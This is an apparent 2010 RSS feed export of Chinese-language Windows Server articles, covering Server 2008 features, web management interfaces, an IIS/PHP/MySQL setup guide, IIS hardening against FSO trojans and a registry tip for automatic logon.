　　Windows Vista和Win2008加入了新的Session模型，可以同时发起至少4个，而如果服务器有四颗以上的处理器，还可以同时发起更多。举例来说，如果你家里有一个媒体中心，那各个家庭成员就可以同时在各自的房间里打开媒体终端、同时从Vista服务器上得到视频流，而且速度不会受到影响。Vista地带这样终端服务多人数在线的效率应该提高不少。
　　10、自修复NTFS文件系统
　　从DOS时代开始，文件系统出错就意味着相应的卷必须下线修复，而在WS2K8中，一个新的系统服务会在后台默默工作，检测文件系统错误，并且可以在无需关闭服务器的状态下自动将其修复。
　　有了这一新服务，在文件系统发生错误的时候，服务器只会暂时无法访问部分数据，整体运行基本不受影响，所以CHKDSK基本就可以退休了。这一点比Windows Vista是一个进步吧，作为服务器数据安全第一。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Web管理接口(Web Management Interface)在Windows Server 2003中 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9693.html </link>
<description> </description>
<text>副标题#e#
						



Web管理接口(Web Management Interface)在Windows Server 2003中是一项非常值得网络用户使用的功能，这项功能主要的目的就是为了向一些有权限的网络用户在无法进行本机维护时，提供远程的Web管理接口服务。下面笔者对四项常见的Web接口管理服务进行一下简单的介绍。
　　打印服务器的Web接口
　　打印服务器是Windows Server 2003服务器中的一种，它是实现资源共享的重要组成部分。在Windows Server 2003中，如果打印服务器安装了IIS服务器，则拥有权限的网络用户就可以通过IE等浏览器来管理打印服务器，域中的用户也可以通过浏览器来安装打印机、管理自己打印的文档等。这种方便的管理模式就是&amp;ldquo;打印机服务器Web接口管理方式&amp;rdquo;。其实现的过程如下：
　　首先安装IIS 6.0和相关的远程管理组件。点击&amp;ldquo;开始&amp;rarr;控制面板&amp;rarr;添加/删除程序&amp;rdquo;，在&amp;ldquo;添加或删除程序&amp;rdquo;窗口中点击&amp;ldquo;添加/删除Windows组件&amp;rdquo;按钮，接着在弹出的&amp;ldquo;Windows组件向导&amp;rdquo;窗口中选择&amp;ldquo;应用程序服务器&amp;rdquo;。
　　双击&amp;ldquo;应用程序服务器&amp;rdquo;后，在弹出的窗口中勾选&amp;ldquo;Internet信息服务(IIS)&amp;rdquo;。因为要设置打印机服务器可以使用Web接口方式的管理，所以还需要接着点击&amp;ldquo;详细信息&amp;rdquo;按钮。在弹出的窗口中勾选&amp;ldquo;Internet打印&amp;rdquo;选项，才能实现Web打印及管理打印机(图1)。
&amp;nbsp;图1
　　在组件安装完毕后，就可以在局域网中的任何一台计算机上输入http?//打印服务器名称/printers/(如http?//192.100.100.16/printers/)进入打印机服务器的Web接口管理页面了。在该页面可以看到这台服务器上的所有打印机及状态。
　　终端服务器的Web接口
　　终端服务器是一种可以让有权限的远程网络用户，通过桌面界面登录的方式对服务器进行管理的服务。一般来说，我们都是通过&amp;ldquo;远程桌面连接&amp;rdquo;功能实现客户端与终端服务器之间的连接。
　　在Windows Server 2003中，用户只要让终端服务器搭配IIS服务器，就可以在客户端通过使用IE浏览器(4.0以上版本)完成与终端服务器的连接、登录与管理操作。这项功能就是下面将要讲述的&amp;ldquo;远程桌面Web连接&amp;rdquo;功能。它的主要目的就是让管理员不必在每台计算机上都安装&amp;ldquo;远程桌面连接&amp;rdquo;程序，就可以通过Web接口(浏览器)来连接终端服务器。
　　首先安装IIS 6.0，并在安装的过程中双击&amp;ldquo;Internet信息服务(IIS)&amp;rdquo;，在打开的窗口中勾选&amp;ldquo;万维网服务&amp;rdquo;。接着双击&amp;ldquo;万维网服务&amp;rdquo;，在弹出的窗口中勾选&amp;ldquo;远程桌面Web连接&amp;rdquo;后，开始安装选中的组件。
　　在安装该组件后，可以在远程计算机的IE地址栏中输入http?//服务器IP地址或名称/tsweb/(如http?//192.100.100.16/tsweb/)即可访问终端服务器了。在&amp;ldquo;远程桌面Web连接&amp;rdquo;页面中输入服务器的IP地址并设置好分辨率大小后，点击&amp;ldquo;连接&amp;rdquo;按钮就可以登录到终端服务器的登录界面。输入正确的用户名和密码就可以登录到该服务器的桌面环境。
　　提示：如果出现无法连接到终端服务器的情况，请确认终端服务器的远程桌面功能是否激活，即右键点击&amp;ldquo;我的电脑&amp;rdquo;，在弹出的菜单中选择&amp;ldquo;属性&amp;rdquo;，在属性窗口中的&amp;ldquo;远程&amp;rdquo;选项卡设置界面，勾选&amp;ldquo;允许用户远程连接这台计算机&amp;rdquo;即可。
　　流媒体服务器的Web接口
　　在Windows Server 2003中，架设既支持网络广播又可进行视频点播的Windows Media流媒体服务器是一件很容易的事情，但你想过没有，我们同样可以通过Web接口来管理流媒体服务器。

						#p#副标题#e#




　　在&amp;ldquo;Windows组件向导&amp;rdquo;窗口中勾选&amp;ldquo;Windows Media Services&amp;rdquo;，并进入该选项的详细设置窗口，勾选&amp;ldquo;用于Web的Windows Media Services管理器&amp;rdquo;项(图2)。从随后弹出的&amp;ldquo;Windows Media Services安装警告&amp;rdquo;提示框中，可以看到当前选中的组件需要IIS 6.0的支持。此时请点击&amp;ldquo;确定&amp;rdquo;按钮(IIS 6.0组件将被自动选中)。
&amp;nbsp;图2
　　在上述组件安装完毕后，就可以在远程计算机的IE浏览器地址栏中输入http?//流媒体服务器IP地址?8080/(如http?//192.100.100.16?8080/default。asp)使用Web接口管理流媒体服务器了。输入网址并按回车键后，就可以看到Windows Media Services的Web接口管理页面了。
　　为了安全考虑(防止其他用户管理Windows Media Services)，大家可以在退出Web接口管理页面时，输入网址http?//192.100.100.16?8080/WMSLogOff。asp来注销本次管理。
　　远程维护Web接口
　　远程维护功能是一项非常重要的功能，它可以帮助网络管理员通过Web接口来完成服务器的多个具体服务项目的管理维护操作，也就是远程进入IIS 6.0 Web接口管理页面。
　　在&amp;ldquo;Windows组件向导&amp;rdquo;窗口中依次选择&amp;ldquo;应用程序服务器&amp;rdquo;、&amp;ldquo;Internet信息服务(IIS)&amp;rdquo;、&amp;ldquo;万维网服务&amp;rdquo;，并在&amp;ldquo;万维网服务&amp;rdquo;中勾选&amp;ldquo;远程管理(HTML)&amp;rdquo;，最后点击&amp;ldquo;确定&amp;rdquo;按钮进行组件的安装。
　　在完成上述操作后，就可以在局域网中输入&amp;ldquo;https://服务器名称或IP地址:8098&amp;rdquo;这样的地址(在远程计算机中只能输入&amp;ldquo;https://服务器IP地址:8098&amp;rdquo;)来访问Windows Server 2003的IIS 6.0的Web接口管理页面。
　　在该页面中可以查看或配置服务器的运行日志文件、网站IP地址、DNS后缀、域。此外还能够创建、编辑、删除服务器上的用户和组名单，甚至可以远程重新启动服务器、关闭服务器。
　　通过对Web接口管理实例的讲解，大家是不是感到Windows Server 2003的Web接口管理功能很强大呢？但笔者要强调的是，Web接口管理会因用户的管理是否妥当出现不同等级的安全隐患，所以请大家谨慎使用Web接口管理功能。 </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O415W44C30-1D03_lit.jpg </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Windows Server 2003 就像个 Windows Server 2000 回炉版.基本上 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9694.html </link>
<description> </description>
<text>

Windows Server 2003 就像个 Windows Server 2000 回炉版.基本上没有啥重大改变,大多数的改进都是看不见的.Windows Server 2008 则完全不同了,它是个全新的、彻底改良的版本.不仅整体看来相当不错,而且还有一些意外&amp;ldquo;惊喜&amp;rdquo;,还有一些细节,如果你决定要安装它的话,肯定应该先了解一下.

#1: 64位革命尚未完成，微软仍需努力
64 位版 Windows Server 已经推出很多年了，微软已经很明显想要所有的客户都迁移到 64 位平台。但这并不是说你应该马上把 32 位系统光盘统统扔掉。在过去的几个月里，我已经震惊地发现很多微软的软件不仅没有 64 位版本，而且在 64 位系统里也运行不了。这其中就包括 Team Foundation Server 和 ISA Server。如果你打算迁移到 64 位的话，你最好还是准备好一两台 32 位服务器，实机或者虚拟机都行。
#2: 谁动了我的奶酪？
尽管 Windows Server 2008 里的用户界面改变不像 Vista 的 Aero 那样脱胎换骨，但系统里的许多组件也都进行了重整或者改名。当你面对着全新设计的控制面板时，别傻眼了。
#3: Windows Workstation 2008 马上就要来了
微软已经提供了将&amp;ldquo;Vista 桌面体验&amp;rdquo;带入 Windows Server 2008 的可能。我估计不会有几个服务器管理员喜欢这个，但是有些人就是喜欢把 Windows Server 2008 改成家用版系统来用。这个项目叫做 &amp;ldquo;Windows Workstation 2008&amp;rdquo;。
#4: Hyper-V 挺好，可是&amp;hellip;&amp;hellip;
Hyper-V 是 Windows Server 2008 最受期待的功能之一，好得出乎意料，特别是微软很少有什么软件的第一个版本就这么好。非常稳定，非常易用，没发现什么大毛病。对于那些备受&amp;ldquo;等到第三个版本再装&amp;rdquo;以及&amp;ldquo;在出 SP1 以前不要装&amp;rdquo;等言论折磨的人们，绝对是意外惊喜。
#5: &amp;hellip;&amp;hellip;Hyper-V 能力有限
Hyper-V 尽管质量很高，但功能还是很欠缺。回想当初它是为了取代 VMWare 和其它软件而研发的，然而令人失望的是它没有提供任何导入工具。
#6: NT 4 域迁移&amp;mdash;&amp;mdash;想都别想
3.0 版的 Active Directory Migration Tool (ADMT) 支持从 NT 4 迁移，但不支持 Windows Server 2008。最新的 3.1 版支持迁移到 Windows Server 2008，但不支持 NT 4。所以要么趁早迁移，要么就升级你的 NT 4 域。
#7: 积灰专用软件不再默认安装
在旧版本的 Windows Server 里，许多软件都是默认安装的。基本没人去卸载它，因为反正也没有害处。现在，所有的这些程序都不会再默认安装了。在安装结束后你需要添加&amp;ldquo;功能&amp;rdquo;来获得这些程序。
#8: 授权很让人困惑
Windows Server 2008 延续了微软的光荣传统，许可协议绝对匪夷所思。按照你的服务器里的物理 CPU 个数，企业版可能比数据中心版便宜，或者更贵。
#9: 一点也不臃肿
不知是因为 Vista 提升了人们的抗痛苦能力还是硬件变得和白菜一样便宜，Windows Server 2008 一点也不让人觉得臃肿。微软在尽可能减少预装功能方面作出了不错的努力。
#10: 质量超乎想像
微软的客户们已经习惯了低质量产品，尽管在安全漏洞和软件错误方面似乎在逐渐改善，Vista 发布后仍然骂声一片。而 Windows Server 2008 则是出人意料地没有太多负面声音。也许是因为微软在这个产品上花了更多的时间，或是人们对服务器产品的期待不同，但目前为止 Windows Server 2008 迎来的是一片叫好声。总体来说它并没有什么太大的亮点，但可靠、高品质的产品永远是系统管理员们需要的。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>最近看了自己关心的主题的微软PDC视频，也结合自己的Web 2.0项目 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9695.html </link>
<description> </description>
<text>副标题#e#
						



最近看了自己关心的主题的微软PDC视频，也结合自己的Web 2.0项目做了一些思考。这次PDC最大的一个主题就是Azure OS,所谓的云操作系统。不过微软的服务器要布到中国也不知道要到什么时候，所以也没有深究。我主要关心的是Asp.net和C#的技术走向。
&amp;nbsp; 我总结了一下，总的走向就是更加的Web化，比如Webform的Tag的ID可以控制了，MVC将成为主流，C# 4.0更加向动态语言靠，甚至引入了一个dynamic的关键字。
&amp;nbsp;&amp;nbsp; 这些基本和我的预期相符合。其实都指向一个理念。Web的本质是文档。
&amp;nbsp; 以前有网友对我的所谓&amp;ldquo;文档化&amp;rdquo;理念提出疑问。因为我一直认为理念和战略思想可能在一开始就决定了成败。感觉有必要探讨一下，或许可以给大家提供一个新的视角。
&amp;nbsp; 我尽可能罗列结论，略去推导过程，节省大家的时间。
&amp;nbsp; 首先，Web本质是文档，或者说更倾向于文档化。我对文档和应用的区分标准是，文档更倾向于让人理解，应用更倾向于让机器理解。
&amp;nbsp; WEB的三个要素已经产生了，就是3位一体的HTML+CSS+Javascript
&amp;nbsp; 这个三角形结构已经愈发成熟愈发稳定愈发强大了。也许第四类要素也显出雏形了，就是语义要素，需要的只是时间吧。
&amp;nbsp; 任何试图忽略，取代这三个要素中的任何一个都是一个危险的企图。
&amp;nbsp; （一个最典型的这样的尝试就是asp.net webfrom,居然可以同时屏蔽和封装这三个要素，而asp.net mvc则是一种回归，我对asp.net webform的最新理解是，一个使用Web技术的Windows应用。而Asp.net mvc才是更接近web的本质）。
&amp;nbsp; HTML是一种文档。
&amp;nbsp; CSS是一种变换，它的最大特点是在它变换HTML的时候不会改变HTML的拓扑结构，或者说是DOM结构。
&amp;nbsp; Javascript也是一种变换，它可以改变HTML的拓扑结构，或者是DOM结构
&amp;nbsp; （信息科学的本质是数学，用数学的观点看待问题，有的时候就会变得很清晰）
&amp;nbsp;
&amp;nbsp; HTML文档的最大特点是自我解释性，这是互联网的特性决定的，因为互联网就是最大程度的交流。如果你开发了一个应用，试图&amp;ldquo;封装&amp;rdquo;，或者&amp;ldquo;替代&amp;rdquo;HTML，那么可能会在做一件蠢事。因为你的应用没有自我解释性，也许你要配一个详细的文档，教程，或者其它什么东西来解释你的应用，而且还须要用户能正确理解这种说明和解释。这就违背了Web了精神，分享的精神。
&amp;nbsp; 那CSS为什么也不能被绕过呢？因为它和HTMl配合的最好，和HTML之间属于松散型耦合，通过长期演化，已经接近完美了。现在甚至发展出了，MicroFomats这样的赋予语义的css标准，或许这是迈向语义网的一个途径呢？who knonws?
&amp;nbsp; Javascript呢？很多.Net程序员不熟悉JS,不是也过得好好的吗？我在想，也许好日子到头了。Javascript的地位将不会被削弱，而可能是大大加强。
&amp;nbsp; CSS的成熟，导致了Div+CSS的开发方式的流行，而由于Firefox和AJax的流行，将近一步加强这3大要素的地位。相信多用用firebug可能对此有更深感受。Jquery的出现更是大大降低了JS开发难度。设想一下这样一个Firebug版本，在你发出一个Ajax请求 的时候，你看到了一个Response到达你的浏览器，可以看到一个Json数据结构是如何改变你的DOM,不但可以设置断点，更为神奇的是DOM改变过程居然可逆。在C#程序中，设置一个断点，然后到了这个断点以后倒退着执行，能办到吗？也许要到C# 7.0了。但是，DOM可以，因为它是文档。只要建立快照就可以了。会不会有Transactional DOM出现呢？
&amp;nbsp; HTML是拓扑结构，是第一性，Javasript是一种变换，属于第二性。

						#p#副标题#e#




&amp;nbsp; 这和windows时代的所谓应用第一性其实已经是有了本质上的区别。
&amp;nbsp; 事实上世界上最赚钱的软件是什么，就是Office. 它其实就做了一件事情，就是处理文档。
&amp;nbsp; Office软件有好几种，它们之间的关系是什么呢？
&amp;nbsp; Word是一维的文档，你可以对一个文档重新分页
&amp;nbsp; &amp;nbsp;PPT是二维的文档，每一页都是完整独立的一页，你没有办法重新分页
&amp;nbsp; EXCEL是三维的文档， 表格是两维，Tab页是第三维
&amp;nbsp; 微软又搞了一个OneNote居然是四维的，，似乎不是很火。
&amp;nbsp; 所以要写的让更多的普通人能看懂就用Word, 要更有效率传达更多信息，就用EXCEL。
&amp;nbsp;&amp;nbsp; 事实上，微软的高手当然都明白这些，只不过，如何将它们的商业模式，平滑的转向Web那是一个非常艰巨的任务。所以微软就有了各种试图将Web应用化（Windows化）的企图。
&amp;nbsp; 甚至在所有产品前加上Windows 商标（比如Windows Live，难道是恶搞？）。 &amp;nbsp;
&amp;nbsp; PDC上展示了基于Silverlight技术的Web&amp;nbsp;Office技术，微软终于对Google Docs做出了反应。
&amp;nbsp; 谁会最终胜出呢？3年内，我看好微软，3年后就很难说了。也许写一篇存在自己硬盘上的Word文档，会和写一封永远不寄出去的信类似。真的到了Web 平台，那么血统更纯正的google Docs会胜出吧。拭目以待。
&amp;nbsp; 所以在对待诸如Siliverlight这样的新技术的时候，站在客户的角度去思考是非常必要的。
&amp;nbsp; 如果你在期待着微软发布更多siliverlight控件的时候，也许应该想一想，你会不会在和Web背道而驰呢？
&amp;nbsp; 当你面对Google Doc这样神奇的应用的时候，是不是能看到其中的内涵和潜力呢？重要的不是那些神奇的JS，重要的是它是一个HTML文档，一个资源，一个URL。它不是更容易向语义网扩展吗？
&amp;nbsp; 有的时候感觉，技术的演进和生物的演进非常相似，生物树上最终消失的分支，往往是比较容易的演进，而演进的主线，往往是最困难，最缓慢的，然而最后却成为了演进的主线，并最终胜出。
&amp;nbsp; 另外提一下PDC看到的两个新东西，特别是第二个，可能是非常重要的。也许是The&amp;nbsp;next big&amp;nbsp;Thing（下一个大事物）。
&amp;nbsp; 在Anders的演讲中提到了，C# 4.0以后的一个特性，就是用C# 重写C# Compiler,原来是C++写的。然后你就可以在你的程序中调用Complier的API的动态产生执行代码。非常有趣。不过他没有怎么提应用场景。感觉可以用在代码自动生成，和人工智能方面。
&amp;nbsp;&amp;nbsp; 另外一个是DHTML之父Scott Isaacs搞得一个 Web SandBox，简单而言，就是用JS写的一个虚拟机，可以运行在各种浏览器上，将各种浏览器的JScript标准化，建立一个砂箱模型，隔离JS，
&amp;nbsp; HTML，CSS。也就是说一个JS恶意代码插件，将不会对页面产生任何破坏作用。 应用场景呢？Facebook的FBJS应用插件就是类似的功能。但这个是一个更加完美的解决方案，因为你不必改变你的JS的写法。不过文档里面没有提到插件之间如何通讯。那和IFrame有什么区别，据说是比IFrame 更加安全。如果这个技术成熟的话，会有很多有趣的应用出现。至少在技术上不输给 Facebook了，我会密切关注这个项目。开发Web 2.0有点像造火箭，成功了就是特大成功，失败则更是家常便饭。所以给正在搞Web 2.0的朋友们加个油。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>上周一起，我便开始试用PreBeta版的windows 7。乍看下，这个最新 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9696.html </link>
<description> </description>
<text>

上周一起，我便开始试用PreBeta版的windows 7。乍看下，这个最新一代操作系统的build 6801版和Windows Vista颇类似，因为操作系统的外观和感觉部分通常会摆在开发日程的最末段再加强。就此刻而言，核心的程序设计已定调，安全性的设计已做了一些改变。
　　Windows 7去掉了最初随Windows XP SP2推出的安全中心(Security Center)，改用行动中心(Action Center)取代。行动中心包含对十大Windows功能的提示：安全中心；问题、报告与解决方案；Windows Defender； Windows Update；Diagnostics； 网络访问保护； 备份与回复(Backup and Restore)；复原(Recovery)；以及使用者帐户控制(User Account Control；UAC)。 
　　其中，使用者帐户控制(UAC)的功能改变可能最引人侧目。这项功能在Windows Vista大受欢迎，只是每当使用者尝试安装新软件，或其他因素时，就会弹出一个对话框。 
　　在Windows 7，使用者若有管理员权限，即可用slider控制器调整要求确认的提示(consent prompt)作法。微软表示，即使未见到提醒信息，系统仍将防止恶意软件。我不知这是不是坏主意：假如使用者未看见任何提醒信息，可能会以为电脑一切安然无恙。 
　　上周在微软PDC 2008会场发布的Windows 7初期版还推出一种功能，称为Windows过滤平台(Windows Filtering Platform；WFP)，用意是让第三方的产品能利用到微软Windows防火墙的某些部分。微软说：第三方产品也可选择把Windows防火墙局部开启或关闭，让你选择想用哪一种软件防火墙，并与Windows防火墙并存。 
　　某大安全软件厂商说，无法想像自己的产品与Windows防火墙并用；而且，倘若微软的防火墙内含有不得不用的元件，他们会打造自己的版本，而不打算用微软的。 
　　其他安全功能也做了些更动。例如，设定屏幕中的Scrollbars和Software Explorer功能都被移除了，而Windows 7加强即时防护功能，以降低对整体系统性能的影响。 
　　Windows 7把BitLocker磁盘加密支持延伸到可拆卸式存储设备，例如闪存和便携式硬盘。这意味使用者可把敏感资料都存入USB存储装置。 
　　生物特征识别(Biometrics)功能加强，包括更容易设定辨读器，让使用者管理存储在电脑上的指纹资料，并控制登入Windows 7的方式。 
　　另有系统回复(System Restore)功能，包含一份可移除或增加的程序清单，提供使用者更充分的资讯，以便他们选择把系统还原到某个时间点。 
　　微软final build尚未出炉，上述资讯仍可能产生变化。微软预期在Windows Vista问世三年内推出Windows 7，那意味可能在2010年1月前上市。(Robert Vamosi ) </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>用IIS，php4和mysql的软件包是php-4.0.1pl2-Win32.zip、mysql-3. </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9697.html </link>
<description> </description>
<text>

用IIS，php4和mysql的软件包是php-4.0.1pl2-Win32.zip、mysql-3.23.19-beta-win.zip。 windows2000(p) + IIS 5.O
　　1:安装mysql 
　　after setup all is ok but run : C:mysqlbinmysqld-nt.exe --install &amp;ldquo;开始&amp;rdquo;按钮下的&amp;ldquo;程序&amp;rdquo;=》&amp;ldquo;管理工具&amp;rdquo;=》&amp;ldquo;服务&amp;rdquo;，找到&amp;ldquo;mysql&amp;rdquo;服务，启动; mysql setup ok! 
　　2:安装php4 
　　解压到c:php4下，再将目录下的所有dll文件拷到c;windowssystem32下(包裹子目录)，不要覆盖已有的dll文件； 接着将目录下的php.exe和php.ini-dist两个文件拷到c:winnt下； 将c:winntphp.ini-dist改名为php.ini,并打开它, 
　　找到;Windows Extensions, 
　　将extension=php_zlib.dll、extension=php_ldap.dll前的&amp;ldquo;；&amp;rdquo;去掉. 修改 extension_dir = ./ 为 extension_dir = c:windowssystem 在[mysql]栏下修改 
　　mysql.default_port = 3306 
　　mysql.default_host = localhost 
　　mysql.default_user = root 
　　打开&amp;ldquo;开始&amp;rdquo;按钮下的&amp;ldquo;程序&amp;rdquo;=》&amp;ldquo;管理工具&amp;rdquo;=》&amp;ldquo;internet服务管理器&amp;rdquo;，选中&amp;ldquo;默认web站点&amp;rdquo;，打开 它的&amp;ldquo;属性&amp;rdquo;窗口。在&amp;ldquo;web站点&amp;rdquo;页下，改变&amp;ldquo;IP地址&amp;rdquo;：您机子的ip地址，例如： 192.168.0.29）&amp;rdquo;；&amp;ldquo; TCP端口&amp;rdquo;为&amp;ldquo;80&amp;rdquo;。 
　　接着，选中&amp;ldquo;主目录&amp;rdquo;页，单击&amp;ldquo;应用程序设置&amp;rdquo;下的&amp;ldquo;配置&amp;rdquo;按钮后，在新窗口下单击&amp;ldquo;添加&amp;rdquo;按钮； 
　　在&amp;ldquo; 可执行文件&amp;rdquo;中输入&amp;ldquo;C:WINNTphp.exe %s %s&amp;rdquo;，在&amp;ldquo;扩展名&amp;rdquo;中输入&amp;ldquo;.php&amp;rdquo;，点击&amp;ldquo;确定&amp;rdquo;。 
　　在&amp;ldquo; 可执行文件&amp;rdquo;中输入&amp;ldquo;C:WINNTphp.exe %s %s&amp;rdquo;，在&amp;ldquo;扩展名&amp;rdquo;中输入&amp;ldquo;.php3&amp;rdquo;，点击&amp;ldquo;确定&amp;rdquo;。 (对PHPADMIN的支持) 
　　接着，选中&amp;ldquo;ISAPI筛选器&amp;rdquo;页， 单击&amp;ldquo;添加&amp;rdquo;按钮；在&amp;ldquo;筛选器名称&amp;rdquo;中输入&amp;ldquo;php&amp;rdquo;，在&amp;ldquo;可执行文件&amp;rdquo;中输入 &amp;ldquo;C:WINNTsystem32php4isapi.dll&amp;rdquo;，点击&amp;ldquo;确定&amp;rdquo;。 单击&amp;ldquo;添加&amp;rdquo;按钮；在&amp;ldquo;筛选器名称&amp;rdquo;中输入&amp;ldquo;php3&amp;rdquo;，在&amp;ldquo;可执行文件&amp;rdquo;中 输入 
　　&amp;ldquo; C:WINNTsystem32php4isapi.dll&amp;rdquo;，点击&amp;ldquo;确定&amp;rdquo;。 接着，选中&amp;ldquo;文档&amp;rdquo;页，单击&amp;ldquo;添加&amp;rdquo;按钮；在&amp;ldquo;默认文档名&amp;rdquo;中输入&amp;ldquo;index.php&amp;rdquo;，点击&amp;ldquo;确定&amp;rdquo; 
　　3:安装phpadmin 
　　解压到c:admin 下 添加 C:adminphpMyAdmin 的WEB共享命名为 ADMIN 以后用HTTP://192.168.0.29(您机子的ip地址)/ADMIN 管理MYSQL。  </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>ASP提供了强大的文件系统访问能力，可以对服务器硬盘上的任何文 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9698.html </link>
<description> </description>
<text>

ASP提供了强大的文件系统访问能力，可以对服务器硬盘上的任何文件进行读、写、复制、删除、改名等操作，这给学校网站的安全带来巨大的威胁。现在很多校园主机都遭受过FSO木马的侵扰。但是禁用FSO组件后，引起的后果就是所有利用这个组件的ASP程序将无法运行，无法满足客户的需求。如何既允许FileSystemObject组件，又不影响服务器的安全性呢(即：不同虚拟主机用户之间不能使用该组件读写别人的文件)？以下是笔者多年来摸索出来的经验： &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;第一步是有别于Windows&amp;nbsp;2000设置的关键：右击C盘，点击&amp;ldquo;共享与安全&amp;rdquo;，在出现在对话框中选择&amp;ldquo;安全&amp;rdquo;选项卡，将Everyone、Users组删除，删除后如果你的网站连ASP程序都不能运行，请添加IIS_WPG组，并重启计算机。 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;经过这样设计后，FSO木马就已经不能运行了。如果你要进行更安全级别的设置，请分别对各个磁盘分区进行如上设置，并为各个站点设置不同匿名访问用户。下面以实例来介绍(假设你的主机上E盘Abc文件夹下设Abc.com站点)： &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1.打开&amp;ldquo;计算机管理&amp;rarr;本地用户和组&amp;rarr;用户&amp;rdquo;，创建Abc用户，并设置密码，并将&amp;ldquo;用户下次登录时须更改密码&amp;rdquo;前的对号去掉，选中&amp;ldquo;用户不能更改密码&amp;rdquo;和&amp;ldquo;密码永不过期&amp;rdquo;，并把用户设置为隶属于Guests组。 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2.右击E:\Abc，选择&amp;ldquo;属性&amp;rarr;安全&amp;rdquo;选项卡，此时可以看到该文件夹的默认安全设置是&amp;ldquo;Everyone&amp;rdquo;完全控制(视不同情况显示的内容不完全一样)，删除Everyone的完全控制(如果不能删除，请点击[高级]按钮，将&amp;ldquo;允许父项的继承权限传播&amp;rdquo;前面的对号去掉，并删除所有)，添加Administrators及Abc用户对本网站目录的所有安全权限。 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3.打开IIS管理器，右击Abc.com主机名，在弹出的菜单中选择&amp;ldquo;属性&amp;rarr;目录安全性&amp;rdquo;选项卡，点击身份验证和访问控制的[编辑]，弹出对话框，匿名访问用户默认的就是&amp;ldquo;IUSR_机器名&amp;rdquo;，点击[浏览]，在&amp;ldquo;选择用户&amp;rdquo;对话框中找到前面创建的Abc账户，确定后重复输入密码。 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;经过这样设置，访问网站的用户就以Abc账户匿名身份访问E:\Abc文件夹的站点，因为Abc账户只对此文件夹有安全权限，所以他只能在本文件夹下使用FSO。 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;常见问题： &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;如何解除FSO上传程序小于200k限制？ &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;先在服务里关闭IIS&amp;nbsp;admin&amp;nbsp;service服务，找到Windows\System32\Inesrv目录下的Metabase．xml并打开，找到ASPMaxRequestEntityAllowed，将其修改为需要的值。默认为204800，即200K，把它修改为51200000(50M)，然后重启IIS&amp;nbsp;admin&amp;nbsp;service服务。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>&amp;nbsp;每次开机运行Windows&amp;nbsp;Server&amp;nbsp;2003系统时，都需 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9699.html </link>
<description> </description>
<text>

&amp;nbsp;每次开机运行Windows&amp;nbsp;Server&amp;nbsp;2003系统时，都需要同时按住Ctrl+Alt+Delete复合键，再输入登录密码，才能进入到系统中；要是需要频繁登录系统的话，大家可能就会受不了这样罗嗦的步骤了。此时，大家不妨按照下面的步骤，来让系统自动完成登录操作：&amp;nbsp; 　　1、在运行对话框中，输入注册表编辑命令regedit，来打开注册表编辑窗口；&amp;nbsp; 　　2、在该窗口中，依次展开HKEY_LOCAL_MACHINESSOFTWAREMicrosoftWindowsNTCurrent&amp;nbsp;VersionWinLogon键值；&amp;nbsp; 　　3、在对应右边的子窗口中，用鼠标右键单击空白处，从弹出的快捷菜单中，依次执行&amp;ldquo;新建&amp;rdquo;/&amp;ldquo;字符串&amp;rdquo;命令，来创建一个字符串类型的键名，并将键名设置为&amp;ldquo;AutoAdminLogon&amp;rdquo;，并将该键名的数值设置为&amp;ldquo;1&amp;rdquo;；&amp;nbsp; 　　4、找到&amp;ldquo;DefaultDomainName&amp;rdquo;键名，并用鼠标双击之，在随后出现的窗口中，输入要登录的域名，例如Department；&amp;nbsp; 　　5、双击&amp;ldquo;DefaultUserName&amp;rdquo;键名，在随后打开的窗口中，直接输入要登录到此域的用户名，例如&amp;ldquo;test&amp;rdquo;；&amp;nbsp; 　　6、在WinLogon右边的子窗口中，用鼠标右键单击空白处，从弹出的快捷菜单中，依次执行&amp;ldquo;新建&amp;rdquo;/&amp;ldquo;字符串&amp;rdquo;命令，来创建一个字符串类型的键名，并将键名设置为&amp;ldquo;DefaultPassword&amp;rdquo;，并将该键名的数值设置为用户登录系统的密码，例如用户test的登录密码为&amp;ldquo;123456&amp;rdquo;；&amp;nbsp; 　　7、完成设置后，重新启动计算机时，我们会发现不需要再登录，就能自动进入到Windows&amp;nbsp;Server&amp;nbsp;2003系统中了。以后要取消自动登录功能的话，可以将&amp;ldquo;AutoAdminLogon&amp;rdquo;键值设置为&amp;ldquo;0&amp;rdquo;就可以了。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
